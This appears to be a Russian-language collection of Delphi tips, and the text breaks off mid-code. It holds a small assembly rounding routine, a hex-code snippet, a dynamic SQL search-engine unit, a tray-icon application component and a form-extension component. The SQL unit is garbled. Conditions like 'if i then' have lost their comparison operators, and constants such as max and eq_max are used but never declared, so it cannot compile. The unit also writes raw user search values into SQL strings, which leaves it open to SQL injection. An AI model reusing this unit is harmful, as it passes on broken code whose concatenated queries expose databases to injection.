asm
   mov ecx, edx
   cdq
   idiv ecx
   imul ecx
end;

Пример использования:

RoundPrev(10, 3) // = 9
RoundPrev(9, 3) // = 9

Как перевести в 16-ричный код букву.

По утверждению ряда программистов, Гарри Каспаров во время недавней игры с шахматным компьютером использовал секретный код, давший его королю бессмертие.
var
  Str: Char;
begin
  Str := 'В';
  Form1.Caption := Format('%x', [Ord(Str)]);
end;

Библиотека для создания динамических SQL скриптов.

Автор: Подкопаев Владимир

Библиотека для организации поисковой системы в произвольной БД с помощью динамических SQL запросов.

Описание:

Результатом работы функции:

Search_out(_путь : string): TConrolSearch;

Является создание файла с формированным SQL запросом, который в последствии используется компонентов TQuery.

Функция возвращает значение - код ошибки при формировании запроса. Если 0, то запрос сформирован удачно, в противном случае формируется код ошибки (например 1, если послан нулевой запрос). Ошибки младших байтов от 0..4 не являются критическими в плане неправильного формирования запроса. Старшие байты от 5..8 вызывают критические ошибки (TSQL не может выполнить запрос).

Перед вызовом функции, необходимо задать параметры объекта для формирования файла sql запроса.

Описание переменыых объекта Param_:

table_count кол-во используемых таблиц tables[1]...tables[table_count] список используемых таблиц

Например:

tables_count := 2;
tables[1] := 'uchet';
tables[2] := 'ispol';
Param_.Count количество параметров поиска .Refernce[i], где 0<i<=Param_.Count определяет к какой таблице ссылается параметр.

Например (2 таблицы, 9 параметров):

Param_.Count := 9;
if (UchetCheck.Checked = true) and (IspolCheck.Checked = true) then
begin
  tables_count := 2;
  tables[1] := 'uchet';
  tables[2] := 'ispol';
  Param_.Reference[1] := 1;
  Param_.Reference[2] := 1;
  Param_.Reference[3] := 1;
  Param_.Reference[4] := 2;
  Param_.Reference[5] := 1;
  Param_.Reference[6] := 1;
  Param_.Reference[8] := 2;
  Param_.Reference[9] := 2;
end;
.Field_Name[i] : String, 0<i<=Param_.Count список полей таблиц, связанных с параметрами поиска .param_type[i] : PType, 0<i<=Param_.Count тип параметра ('S' - строка, 'D' -дата, 'C' - словарь, 'N' - числовой) .Inverse[i] : EqType : boolean определяет использование '=' или '!=' с данным параметром (кроме типов 'C' и 'N') .Equality[i] : EqType : boolean определяет полное или частичное совпадение параметра поиска (только для типа 'S') .param_value[i] : StrArr определяет значения параметров .param_name : string текущее значение параметра .NumEq : ETL (:EqTypeList) определяет использование знака '=', '>', '<' вместе с типом 'N' Процедура Clear_Search очищает значения param_value в диапазоне от 1..50, рекомендуется использовать для очистки старых параметров поиска перед заданием новых параметров. По умолчанию процедура включена в основную функцию search_out. Функция Param_Set используется для установки параметров кретерия поиска. c_d = 'C' создать таблицу, 'D', удалить таблицу, 'N' - не создавать таблицу
unit Search_engine;
interface
const
  err0 = 'Search_out';
  eq = '=';
  min = '';
  eq_min = '==';
  min_max = '!=';
  SEL = 'SELECT';
  FROM = 'FROM ';
  U = '''';
  C = ',';
  C_ = '.';
  P = ' :PARAM_';
  L = ' LIKE ';
  A = ' AND ';
  PP = '+';
  PR = '%';
  BTW = ' BETWEEN ';
  N = ' !';
  UP = 'upper';
  ORD_ = 'ORDER BY ';
  type PTypeList = 'A'..'Z';
  type TFieldList = array [1..50] of string;
  type EqTypeList = string[2];
  type TControlSearch = record
  SetByte: byte;
  GetByteString: array [0..7] of string;
end;
type StrArr = array [1..50] of string[30];
  RefArr = array [1..50] of integer;
  PType = array [1..50] of PTypeList; // 'S' - string, 'D' - dateTime, 'N' - numeric, 'C' - vocabulary
  EqType = array [1..50] of boolean;
  TOrder = array [1..50] of integer;
  ETL = array [1..50] of string[2];
  Param = object
  param_value : StrArr;
  Field_Name : StrArr;
  Reference : RefArr;
  Count : integer;
  param_name : string;
  param_type : PType;
  Equality : EqType;
  Inverse : EqType; //Working only if Equality[i] = true
  NumEq : ETL;
  Order : TOrder;
end;
type Param_Result_ = object
  param_value : StrArr;
  Field_Name : StrArr;
  Reference : RefArr;
  Count : integer;
  param_name : string;
  param_type : PType;
  Equality : EqType;
  Inverse : EqType;
  NumEq : ETL;
  Order : TOrder;
end;
var
  search_param_count, tables_count: integer;
  Sql_File : Text;
  tables : StrArr;
  Param_ : Param;
  Param_Result : Param_Result_;
  ListField : TFieldList;
  ListFieldCount : integer;
  path_ : string;
procedure Clear_Search;
procedure SetOrder(o : integer;str : string);
function Search_out(path : string) : TControlSearch;
function Param_Set(NumParam: integer; FieldName: string; Ref: integer;
  Equal: boolean; P_Type: char; P_Value: variant): TControlSearch;
implementation
uses
  SysUtils;
procedure Clear_Search;
var
  k: integer;
begin
  for k := 1 to 50 do
    Param_.param_value[k] := '';
end;
function Search_out(path: string): TControlSearch;
//Error Section
const
  err1 = 'ZeroCtrlString';
var
  first_str : string;
  i : integer;
  table_str : string;
  Result_param : StrArr;
  CtrlString : string;
  SELECT,
  TMP_SELECT : string;
  FieldCount : integer;
  f_type : string;
begin
  i := 0;
  Param_Result.Count := 0;
  if ListFieldCount = 0 then
    SELECT := 'SELECT* FROM '
  else
  begin
    SELECT := SEL;
    TMP_SELECT := '';
    for FieldCount := 1 to ListFieldCount do
    begin
      if FieldCount = ListFieldCount then
      begin
        TMP_SELECT := TMP_SELECT + ' ' + ListField[FieldCount];
        break;
      end;
      TMP_SELECT := TMP_SELECT + ' ' + ListField[FieldCount] + C;
    end;
    SELECT := SELECT + ' ' + TMP_SELECT + ' ' + FROM;
  end;
  repeat
    inc(i);
    if Param_.param_value[i] <> '' then
    begin
      inc(Param_Result.Count);
      Param_Result.param_value[Param_Result.Count] := Param_.param_value[i];
      CtrlString := CtrlString + Param_.param_value[i];
      Param_Result.Field_Name[Param_Result.Count] := Param_.Field_Name[i];
      Param_Result.Reference[Param_Result.Count] := Param_.Reference[i];
      Param_Result.Param_type[Param_Result.Count] := Param_.Param_type[i];
      Param_Result.Equality[Param_Result.Count] := Param_.Equality[i];
      Param_Result.Inverse[Param_Result.Count] := Param_.Inverse[i];
      Param_Result.NumEq[Param_Result.Count] := Param_.NumEq[i];
    end;
  until
    i = Param_.Count;
  // 1 BIT ERROR CHECK
  if CtrlString = '' then
  begin
    Search_out.SetByte := 1;
    Search_out.GetByteString[1] := Err0 + C_ + Err1;
    AssignFile(Sql_File,path);
    Rewrite(Sql_File);
    writeln(Sql_File,SELECT+tables[1]);
    CloseFile(Sql_file);
    exit;
  end
  else
  begin
    Search_out.SetByte := 0;
    Search_out.GetByteString[0] := '';
  end;
  i := 0;
  AssignFile(Sql_File,path);
  path_ := path;
  Rewrite(Sql_File);
  if tables_count > 1 then
  begin
    while i <> tables_count do
    begin
      inc(i);
      if i = tables_count then
        first_str := first_str + tables[i]
      else
        first_str := first_str + tables[i] + C;
    end; //WHILE
  end
  else
    first_str := tables[1];
  first_str := SELECT + first_str;
  writeln(Sql_File,first_str);
  writeln(Sql_File,'WHERE');
  i := 0;
  {!MAIN REPEAT!}
  repeat
    inc(i);
    table_str := tables[param_Result.Reference[i]];
    Param_Result.param_name := Param_Result.param_value[i];
    //СТРОКОВЫЙ ТИП
    if (Param_Result.param_type[i] = 'S') then
      if i then
      begin
        if Param_Result.Equality[i] = false then
          writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
          L + UP +'(' + U + Param_Result.param_name + PR + U +')' + A)
        else
        if Param_Result.Inverse[i] = false then
          writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
          '='+U+ Param_Result.param_name+U+A)
        else
          writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
          N+'='+U+ Param_Result.param_name+U+A);
      end
      else
      begin
        if Param_Result.Equality[i] = false then
          writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
          L + UP + '(' + U + Param_Result.param_name + PR + U + ')')
        else
        if Param_Result.Inverse[i] = false then
          writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
          '='+U+ Param_Result.param_name+U)
        else
          writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
          N+'='+U+ Param_Result.param_name+U);
      end;
    // ТИП ДАТА
    if (Param_Result.param_type[i] = 'D') then
    begin
      if i + 1 then
      begin
        if (Param_Result.param_type[i+1] = 'D') and
        (Param_Result.Reference[i] = Param_Result.Reference[i + 1]) then
        begin
          writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
          + BTW + U+Param_Result.param_name +U+ ' ' + A +U +
          Param_Result.param_value[i+1]+ U + ' '+ A);i := i + 1
        end
        else
          writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
          +'='+U+Param_Result.param_name +U+A);
      end;
      if (i + 1 = Param_Result.Count) and (Param_Result.param_type[i+1] <> 'D') then
      begin
        if (Param_Result.param_type[i+1] = 'D')
        and (Param_Result.Reference[i] = Param_Result.Reference[i + 1]) then
        begin
          writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
          + BTW + U+Param_Result.param_name +U+ ' ' + A +U +
          Param_Result.param_value[i+1]+ U + ' '+ A);i := i + 1
        end
        else
          writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
          +'='+U+Param_Result.param_name +U+A);
      end;
      if (i + 1 = Param_Result.Count) and (Param_Result.param_type[i+1] = 'D') then
      begin
        if (Param_Result.param_type[i+1] = 'D') and
        (Param_Result.Reference[i] = Param_Result.Reference[i + 1]) then
        begin
          writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
          + BTW + U+Param_Result.param_name +U+ ' ' + A +U +
          Param_Result.param_value[i+1]+ U + ' ');i := i + 1
        end
        else
          writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
          +'='+U+Param_Result.param_name +U);
      end;
    end;
    // ТИП СЛОВАРЬ
    if (Param_Result.param_type[i] = 'C') then
      if i then
      begin
        if Param_Result.Equality[i] = false then
          writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
          L + Param_Result.param_name + PR + A)
        else
        if Param_Result.Inverse[i] = false then
          writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
          '='+ Param_Result.param_name+A)
        else
          writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
          N+'='+ Param_Result.param_name+A);
      end
      else
      begin
        if Param_Result.Equality[i] = false then
          writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
          L + Param_Result.param_name + PR )
        else
        if Param_Result.Inverse[i] = false then
          writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
          '='+ Param_Result.param_name)
        else
          writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
          N+'='+ Param_Result.param_name);
      end;
      // ТИП ЧИСЛОВОЕ ЗНАЧЕНИЕ
      if (Param_Result.param_type[i] = 'N') then
        if i then
        begin
          if Param_Result.NumEq[i] = eq then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            eq + Param_Result.param_name + A);
          if Param_Result.NumEq[i] = min then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            min + Param_Result.param_name + A);
          if Param_Result.NumEq[i] = max then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            max + Param_Result.param_name + A);
          if Param_Result.NumEq[i] = eq_max then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            eq_max + Param_Result.param_name + A);
          if Param_Result.NumEq[i] = eq_min then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            eq_min + Param_Result.param_name + A);
          if Param_Result.NumEq[i] = min_max then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            min_max + Param_Result.param_name + A);
        end
        else
        begin
          if Param_Result.NumEq[i] = eq then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            eq + Param_Result.param_name);
          if Param_Result.NumEq[i] = min then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            min + Param_Result.param_name);
          if Param_Result.NumEq[i] = max then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            max + Param_Result.param_name);
          if Param_Result.NumEq[i] = eq_max then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            eq_max + Param_Result.param_name);
          if Param_Result.NumEq[i] = eq_min then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            eq_min + Param_Result.param_name);
          if Param_Result.NumEq[i] = min_max then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            min_max + Param_Result.param_name);
        end;
  {!MAIN REPEAT!}
  until
    i = Param_Result.Count;
  CloseFile(Sql_File);
  Clear_Search;
end; // END FUNCTION
function Param_Set(NumParam: integer; FieldName: string; Ref: integer;
  Equal: boolean; P_Type: char; P_Value: variant): TControlSearch;
begin
  Param_.Field_Name[NumParam] := FieldName;
  Param_.Reference[NumParam] := Ref;
  Param_.Equality[NumParam] := Equal;
  Param_.param_type[NumParam] := P_Type;
  Param_.param_value[NumParam] := P_value;
end; //END FUNCTION
procedure SetOrder(o: integer; str: string);
var
  t_str: string;
begin
  AssignFile(Sql_File,path_);
  Append(Sql_File);
  if str = 'N' then
  begin
    t_str := tables[param_.Reference[o]];
    writeln(Sql_file,ORD_+t_str+'.'+Param_.Field_Name[o]);
    Close(Sql_File);
  end
  else
  begin
    writeln(Sql_file,ORD_+' '+str);
    Close(Sql_File);
  end;
end; // END PROCEDURE
end.

Круглая кнопка, кнопка с изменяющимися размерами.

DDHAPPX_PAS.HTM.

unit DdhAppX;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes,
  Graphics, Controls, Forms, Dialogs, ShellApi, Menus;
type
  TDdhAppExt = class(TComponent)
  private
    // design time clone or runtime Application
    CurrApp: TApplication;
    // window procedures
    OldWndProc, NewWndProc: Pointer;
    // tray support
    fTrayIconActive: Boolean;
    fTrayIcon: TIcon;
    fTrayPopup: TPopupMenu;
    nid: TNotifyIconData;
    fOnTrayDefault: TNotifyEvent;
    procedure IconTrayWndProc (var Msg: TMessage);
  protected
    // property and event access methods
    function GetIcon: TIcon;
    procedure SetIcon (Value: TIcon);
    function GetTitle: string;
    procedure SetTitle(Value: string);
    function GetHelpFile: string;
    procedure SetHelpFile(Value: string);
    function GetHintColor: TColor;
    procedure SetHintColor(Value: TColor);
    function GetHintPause: Integer;
    procedure SetHintPause(Value: Integer);
    function GetHintShortPause: Integer;
    procedure SetHintShortPause(Value: Integer);
    function GetHintHidePause: Integer;
    procedure SetHintHidePause(Value: Integer);
    function GetShowHint: Boolean;
    procedure SetShowHint(Value: Boolean);
    function GetOnActivate: TNotifyEvent;
    procedure SetOnActivate(Value: TNotifyEvent);
    function GetOnDeactivate: TNotifyEvent;
    procedure SetOnDeactivate(Value: TNotifyEvent);
    function GetOnException: TExceptionEvent;
    procedure SetOnException(Value: TExceptionEvent);
    function GetOnIdle: TIdleEvent;
    procedure SetOnIdle(Value: TIdleEvent);
    function GetOnHelp: THelpEvent;
    procedure SetOnHelp(Value: THelpEvent);
    function GetOnHint: TNotifyEvent;
    procedure SetOnHint(Value: TNotifyEvent);
    function GetOnMessage: TMessageEvent;
    procedure SetOnMessage(Value: TMessageEvent);
    function GetOnMinimize: TNotifyEvent;
    procedure SetOnMinimize(Value: TNotifyEvent);
    function GetOnRestore: TNotifyEvent;
    procedure SetOnRestore(Value: TNotifyEvent);
    function GetOnShowHint: TShowHintEvent;
    procedure SetOnShowHint(Value: TShowHintEvent);
    procedure SetTrayIconActive (Value: Boolean);
    procedure SetTrayIcon (Value: TIcon);
    procedure IconChange (Sender: TObject);
    procedure SetTrayHint (Value: string);
    function GetTrayHint: string;
    procedure SetTrayPopup (Value: TPopupMenu);
    procedure Notification(AComponent: TComponent;
      Operation: TOperation); override;
  public
    constructor Create (AOwner: TComponent); override;
    destructor Destroy; override;
  published
    // TApplication properties
    property Icon: TIcon
      read GetIcon  write SetIcon ;
    property Title: string
      read GetTitle write SetTitle;
    property HelpFile: string
      read GetHelpFile write SetHelpFile;
    property HintColor: TColor
      read GetHintColor write SetHintColor default clInfoBk;
    property HintPause: Integer
      read GetHintPause write SetHintPause default 500;
    property HintShortPause: Integer
      read GetHintShortPause write SetHintShortPause default 50;
    property HintHidePause: Integer
      read GetHintHidePause write SetHintHidePause default 2500;
    property ShowHint: Boolean
      read GetShowHint write SetShowHint default False;
    // tray icon properties
    property TrayIconActive: Boolean
      read fTrayIconActive write SetTrayIconActive default False;
    property TrayIcon: TIcon
      read fTrayIcon write SetTrayIcon;
    property TrayHint: string
      read GetTrayHint write SetTrayHint;
    property TrayPopup: TPopupMenu
      read fTrayPopup write SetTrayPopup;
    property OnTrayDefault: TNotifyEvent
      read fOnTrayDefault write fOnTrayDefault;
    // TApplication events
    property OnActivate: TNotifyEvent
      read GetOnActivate write SetOnActivate;
    property OnDeactivate: TNotifyEvent
      read GetOnDeactivate write SetOnDeactivate;
    property OnException: TExceptionEvent
      read GetOnException write SetOnException;
    property OnIdle: TIdleEvent
      read GetOnIdle write SetOnIdle;
    property OnHelp: THelpEvent
      read GetOnHelp write SetOnHelp;
    property OnHint: TNotifyEvent
      read GetOnHint write SetOnHint;
    property OnMessage: TMessageEvent
      read GetOnMessage write SetOnMessage;
    property OnMinimize: TNotifyEvent
      read GetOnMinimize write SetOnMinimize;
    property OnRestore: TNotifyEvent
      read GetOnRestore write SetOnRestore;
    property OnShowHint: TShowHintEvent
      read GetOnShowHint write SetOnShowHint;
  end;
procedure Register;
implementation
const
  wm_IconMessage = wm_User;
var
  AppCompCounter: Integer;
constructor TDdhAppExt.Create(AOwner: TComponent);
begin
  // check if already created
  Inc (AppCompCounter);
  if AppCompCounter > 1 then
    raise Exception.Create (
      'Duplicated DdhAppExt component');
  inherited Create(AOwner);
  // application object initialization
  if csDesigning in ComponentState then
  begin
    CurrApp := TApplication.Create (nil);
    CurrApp.Icon := nil;
    CurrApp.Title := '';
    CurrApp.HelpFile := '';
  end
  else
    CurrApp := Application;
  // tray icon initialization
  fTrayIconActive := False;
  fTrayIcon := TIcon.Create;
  fTrayIcon.OnChange := IconChange;
  nid.cbSize := sizeof (nid);
  nid.wnd := CurrApp.Handle;
  nid.uID := 1; // icon ID
  nid.uCallBackMessage := wm_IconMessage;
  nid.hIcon := CurrApp.Icon.Handle;
  StrLCopy (nid.szTip, PChar('Tip'), 64);
  nid.uFlags := nif_Message or
    nif_Icon or nif_Tip;
  // subclass the application
  if not (csDesigning in ComponentState) then
  begin
    NewWndProc := MakeObjectInstance (IconTrayWndProc);
    OldWndProc := Pointer (SetWindowLong (
      CurrApp.Handle, gwl_WndProc, Longint (NewWndProc)));
  end
  else
  begin
    // default values
    NewWndProc := nil;
    OldWndPRoc := nil;
  end;
end;
destructor TDdhAppExt.Destroy;
begin
  // remove the application window procedure
  if csDesigning in ComponentState then
  begin
    // re-install the original window procedure
    SetWindowLong (CurrApp.Handle, gwl_WndProc,
      Longint (OldWndProc));
    // free the object instance
    if Assigned (NewWndProc) then
      FreeObjectInstance (NewWndProc);
  end;
  Dec (AppCompCounter);
  // remove the tray icon
  if fTrayIconActive then
    Shell_NotifyIcon (NIM_DELETE, @nid);
  fTrayIcon.Free;
  // default destructor
  inherited Destroy;
end;
procedure TDdhAppExt.Notification(AComponent: TComponent;
  Operation: TOperation);
begin
  inherited Notification (AComponent, Operation);
  if (Operation = opRemove) and (AComponent = fTrayPopup) then
    fTrayPopup := nil;
end;
// property access methods
function TDdhAppExt.GetIcon : TIcon;
begin
  Result := CurrApp.Icon ;
end;
procedure TDdhAppExt.SetIcon (Value: TIcon);
begin
  CurrApp.Icon := Value;
end;
function TDdhAppExt.GetTitle: string;
begin
  Result := CurrApp.Title;
end;
procedure TDdhAppExt.SetTitle(Value: string);
begin
  CurrApp.Title := Value;
end;
function TDdhAppExt.GetHelpFile: string;
begin
  Result := CurrApp.HelpFile;
end;
procedure TDdhAppExt.SetHelpFile(Value: string);
begin
  CurrApp.HelpFile := Value;
end;
function TDdhAppExt.GetHintColor: TColor;
begin
  Result := CurrApp.HintColor;
end;
procedure TDdhAppExt.SetHintColor(Value: TColor);
begin
  CurrApp.HintColor := Value;
end;
function TDdhAppExt.GetHintPause: Integer;
begin
  Result := CurrApp.HintPause;
end;
procedure TDdhAppExt.SetHintPause(Value: Integer);
begin
  CurrApp.HintPause := Value;
end;
function TDdhAppExt.GetHintShortPause: Integer;
begin
  Result := CurrApp.HintShortPause;
end;
procedure TDdhAppExt.SetHintShortPause(Value: Integer);
begin
  CurrApp.HintShortPause := Value;
end;
function TDdhAppExt.GetHintHidePause: Integer;
begin
  Result := CurrApp.HintHidePause;
end;
procedure TDdhAppExt.SetHintHidePause(Value: Integer);
begin
  CurrApp.HintHidePause := Value;
end;
function TDdhAppExt.GetShowHint: Boolean;
begin
  Result := CurrApp.ShowHint;
end;
procedure TDdhAppExt.SetShowHint(Value: Boolean);
begin
  CurrApp.ShowHint := Value;
end;
function TDdhAppExt.GetOnActivate: TNotifyEvent;
begin
  Result := CurrApp.OnActivate;
end;
procedure TDdhAppExt.SetOnActivate(Value: TNotifyEvent);
begin
  CurrApp.OnActivate := Value;
end;
function TDdhAppExt.GetOnDeactivate: TNotifyEvent;
begin
  Result := CurrApp.OnDeactivate;
end;
procedure TDdhAppExt.SetOnDeactivate(Value: TNotifyEvent);
begin
  CurrApp.OnDeactivate := Value;
end;
function TDdhAppExt.GetOnException: TExceptionEvent;
begin
  Result := CurrApp.OnException;
end;
procedure TDdhAppExt.SetOnException(Value: TExceptionEvent);
begin
  CurrApp.OnException := Value;
end;
function TDdhAppExt.GetOnIdle: TIdleEvent;
begin
  Result := CurrApp.OnIdle;
end;
procedure TDdhAppExt.SetOnIdle(Value: TIdleEvent);
begin
  CurrApp.OnIdle := Value;
end;
function TDdhAppExt.GetOnHelp: THelpEvent;
begin
  Result := CurrApp.OnHelp;
end;
procedure TDdhAppExt.SetOnHelp(Value: THelpEvent);
begin
  CurrApp.OnHelp := Value;
end;
function TDdhAppExt.GetOnHint: TNotifyEvent;
begin
  Result := CurrApp.OnHint;
end;
procedure TDdhAppExt.SetOnHint(Value: TNotifyEvent);
begin
  CurrApp.OnHint := Value;
end;
function TDdhAppExt.GetOnMessage: TMessageEvent;
begin
  Result := CurrApp.OnMessage;
end;
procedure TDdhAppExt.SetOnMessage(Value: TMessageEvent);
begin
  CurrApp.OnMessage := Value;
end;
function TDdhAppExt.GetOnMinimize: TNotifyEvent;
begin
  Result := CurrApp.OnMinimize;
end;
procedure TDdhAppExt.SetOnMinimize(Value: TNotifyEvent);
begin
  CurrApp.OnMinimize := Value;
end;
function TDdhAppExt.GetOnRestore: TNotifyEvent;
begin
  Result := CurrApp.OnRestore;
end;
procedure TDdhAppExt.SetOnRestore(Value: TNotifyEvent);
begin
  CurrApp.OnRestore := Value;
end;
function TDdhAppExt.GetOnShowHint: TShowHintEvent;
begin
  Result := CurrApp.OnShowHint;
end;
procedure TDdhAppExt.SetOnShowHint(Value: TShowHintEvent);
begin
  CurrApp.OnShowHint := Value;
end;
// tray icon support
procedure TDdhAppExt.SetTrayIconActive (Value: Boolean);
begin
  if Value <> fTrayIconActive then
  begin
    fTrayIconActive := Value;
    if not (csDesigning in ComponentState) then
    begin
      if fTrayIconActive then
        Shell_NotifyIcon (NIM_ADD, @nid)
      else
        Shell_NotifyIcon (NIM_DELETE, @nid);
    end;
  end;
end;
procedure TDdhAppExt.SetTrayIcon (Value: TIcon);
begin
  fTrayIcon.Assign (Value);
end;
procedure TDdhAppExt.IconChange (Sender: TObject);
begin
  if not (fTrayIcon.Empty) then
    nid.hIcon := fTrayIcon.Handle
  else
    nid.hIcon := CurrApp.MainForm.Icon.Handle;
  if fTrayIconActive and
      not (csDesigning in ComponentState) then
    Shell_NotifyIcon (NIM_MODIFY, @nid);
end;
function TDdhAppExt.GetTrayHint: string;
begin
  Result := string (nid.szTip);
end;
procedure TDdhAppExt.SetTrayHint (Value: string);
begin
  StrLCopy (nid.szTip, PChar(Value), 64);
  if fTrayIconActive and
      not (csDesigning in ComponentState) then
    Shell_NotifyIcon (NIM_MODIFY, @nid);
end;
procedure TDdhAppExt.SetTrayPopup (Value: TPopupMenu);
begin
  if Value <> fTrayPopup then
  begin
    fTrayPopup := Value;
    if Assigned (fTrayPopup) then
      fTrayPopup.FreeNotification (self);
  end;
end;
procedure TDdhAppExt.IconTrayWndProc (var Msg: TMessage);
var
  Pt: TPoint;
begin
  // show the popup menu
  if (Msg.Msg = wm_IconMessage) and
    (Msg.lParam = wm_rButtonDown) and
    Assigned (fTrayPopup) then
  begin
    SetForegroundWindow (CurrApp.MainForm.Handle);
    GetCursorPos (Pt);
    fTrayPopup.Popup (Pt.x, Pt.y);
  end
  // do the default action
  else if (Msg.Msg = wm_IconMessage) and
    (Msg.lParam = wm_lButtonDblClk) and
    Assigned (fOnTrayDefault) then
  begin
    SetForegroundWindow (CurrApp.MainForm.Handle);
    fOnTrayDefault (self);
  end
  else
    // original window procedure
    Msg.Result := CallWindowProc (OldWndProc,
      CurrApp.Handle, Msg.Msg, Msg.WParam, Msg.LParam);
end;
// component registration
procedure Register;
begin
  RegisterComponents('DDHB', [TDdhAppExt]);
end;
initialization
  AppCompCounter := 0;
end.

DDHFORMX_PAS.HTM.

unit DdhFormX;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, ExtCtrls;
type
  TDdhFormExt = class(TComponent)
  private
    // window procedures
    OldWndProc, NewWndProc: Pointer;
    // MinMaxInfo data
    fMaximizedWidth: Integer;
    fMaximizedHeight: Integer;
    fMaximizedPosX: Integer;
    fMaximizedPosY: Integer;
    fMinimumTrackWidth: Integer;
    fMinimumTrackHeight: Integer;
    fMaximumTrackWidth: Integer;
    fMaximumTrackHeight: Integer;
    // background bitmap
    fBackBitmap: TBitmap;
    procedure SetBackBitmap (Value: TBitmap);
  protected
    function FormHandle: THandle;
    procedure NewWndMethod (var Msg: TMessage);
    procedure BackBitmapChanged (Sender: TObject);
  public
    constructor Create (AOwner: TComponent); override;
    destructor Destroy; override;
  published
    property BackBitmap: TBitmap
      read fBackBitmap write SetBackBitmap;
    property MaximizedWidth: Integer
      read fMaximizedWidth write fMaximizedWidth
      default 0;
    property MaximizedHeight: Integer
      read fMaximizedHeight write fMaximizedHeight
      default 0;
    property MaximizedPosX: Integer
      read fMaximizedPosX write fMaximizedPosX
      default 0;
    property MaximizedPosY: Integer
      read fMaximizedPosY write fMaximizedPosY
      default 0;
    property MinimumTrackWidth: Integer
      read fMinimumTrackWidth write fMinimumTrackWidth
      default 0;
    property MinimumTrackHeight: Integer
      read fMinimumTrackHeight write fMinimumTrackHeight
      default 0;
    property MaximumTrackWidth: Integer
      read fMaximumTrackWidth write fMaximumTrackWidth
      default 0;
    property MaximumTrackHeight: Integer
      read fMaximumTrackHeight write fMaximumTrackHeight
      default 0;
  end;
procedure Register;
implementation
constructor TDdhFormExt.Create (AOwner: TComponent);
var
  I: Integer;
begin
  // check if the owner is a form
  if (Owner = nil) or not (AOwner is TForm) then
    raise Exception.Create (
      'Owner of DdhFormExt component must be a form');
  // create a single instance only
  for I := 0 to AOwner.ComponentCount - 1 do
    if AOwner.Components[I] is TDdhFormExt then
      raise Exception.Create (
        'DdhFormExt component duplicated in ' +
        AOwner.Name);
  // default creation
  inherited Create (AOwner);
  // form subclassing (runtime only)
  if not (csDesigning in ComponentState) then
  begin
    NewWndProc := MakeObjectInstance (NewWndMethod);
    OldWndProc := Pointer (SetWindowLong (
      FormHandle, gwl_WndProc, Longint (NewWndProc)));
  end
  else
  begin
    // default values
    NewWndProc := nil;
    OldWndPRoc := nil;
  end;
  fBackBitmap := TBitmap.Create;
  fBackBitmap.OnChange := BackBitmapChanged;
end;
destructor TDdhFormExt.Destroy;
begin
  if Assigned (NewWndProc) then
  begin
    FreeObjectInstance (NewWndProc);
    SetWindowLong (FormHandle, gwl_WndProc,
      Longint (OldWndProc));
  end;
  fBackBitmap.Free;
  inherited Destroy;
end;
function TDdhFormExt.FormHandle: THandle;
begin
  Result := (Owner as TForm).Handle;
end;
// custom window procedure
procedure TDdhFormExt.NewWndMethod (var Msg: TMessage);
var
  ix, iy: Integer;
  ClientWidth, ClientHeight: Integer;
  BmpWidth, BmpHeight: Integer;
  hCanvas, BmpCanvas: THandle;
  pMinMax: PMinMaxInfo;
begin
  case Msg.Msg of
    wm_EraseBkgnd:
      if (fBackBitmap.Height <> 0) or
        (fBackBitmap.Width <> 0) then
      begin
        ClientWidth := (Owner as TForm).ClientWidth;
        ClientHeight := (Owner as TForm).ClientHeight;
        BmpWidth := fBackBitmap.Width;
        BmpHeight := fBackBitmap.Height;
        BmpCanvas := fBackBitmap.Canvas.Handle;
        hCanvas := THandle (Msg.wParam);
        for iy := 0 to ClientHeight div BmpHeight do
          for ix := 0 to ClientWidth div BmpWidth do
            BitBlt (hCanvas, ix * BmpWidth, iy * BmpHeight,
              BmpWidth, BmpHeight, BmpCanvas,
              0, 0, SRCCOPY);
        Msg.Result := 1; // message handled
        Exit; // skip default processing
      end;
    wm_GetMinMaxInfo:
      if fMaximizedWidth + fMaximizedHeight + fMaximizedPosX +
        fMaximizedPosY + fMinimumTrackWidth + fMinimumTrackHeight +
        fMaximumTrackWidth + fMaximumTrackHeight <> 0 then
      begin
        pMinMax := PMinMaxInfo (Msg.lParam);
        if fMaximizedWidth <> 0 then
          pMinMax.ptMaxSize.X := fMaximizedWidth;
        if fMaximizedHeight <> 0 then
          pMinMax.ptMaxSize.Y := fMaximizedHeight;
        if fMaximizedPosX <> 0 then
          pMinMax.ptMaxPosition.X := fMaximizedPosX;
        if fMaximizedPosY <> 0 then
          pMinMax.ptMaxPosition.Y := fMaximizedPosY;
        if fMinimumTrackWidth <> 0 then
          pMinMax.ptMinTrackSize.X := fMinimumTrackWidth;
        if fMinimumTrackHeight <> 0 then
